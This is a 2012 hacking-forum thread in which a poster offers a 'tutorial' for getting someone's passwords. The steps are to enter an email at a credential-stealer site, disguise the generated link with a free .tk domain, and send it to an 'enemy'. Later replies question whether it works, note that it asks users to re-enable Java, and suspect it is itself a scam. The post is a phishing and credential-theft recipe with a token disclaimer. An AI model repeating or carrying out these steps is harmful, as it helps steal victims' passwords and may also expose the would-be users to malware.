Thread: [\[Rhythm\]\[Tutorial\] How to get someone's password from their Browser Cache \[/Tutorial\]](#)

Rexagon - September 5, 2012, 3:14 pm

Disclaimer: This isn't intended for illegal use, and I am not responsible for anything that happens.

Step 1; Go to <http://www.stealer.ambesty.com/> and enter your email.

Step 2; Copy the link and put it under a free .tk domain. (<http://www.dot.tk/>)

Step 3; Send link to your enemy and obtain their passwords!

Help; If you get an error message on the next page after entering the email, then update your .NET Framework to 4.4 or higher.

Dunno.. This seems kinda sketchy to me :/.

Especially since it requires I run java on the site in which case I would need to reenale it (avoiding dat SJDB)

I meant that I had java disabled for my browser, and it was asking to reenale it, I understand what you took from what I said though :P

I'm just gonna wait until other people comment on it. OP seems trusted enough, but rather be safe than sorry.

If you had read his post you would of seen he said he disabled it on his browser all together, So yes it would ask for java to be run. And I agree seems sketchy, Cookie stealers are hard to get, Dont see why it would be made so freely available if he could easily make thousands of £ from this.

Hmmm....so does this work or not. Or is it in itself a scam?

dagg25 - April 18, 2013, 6:10 am

hey when im trying to make a domain i get this error

The domain name you have entered is not valid.
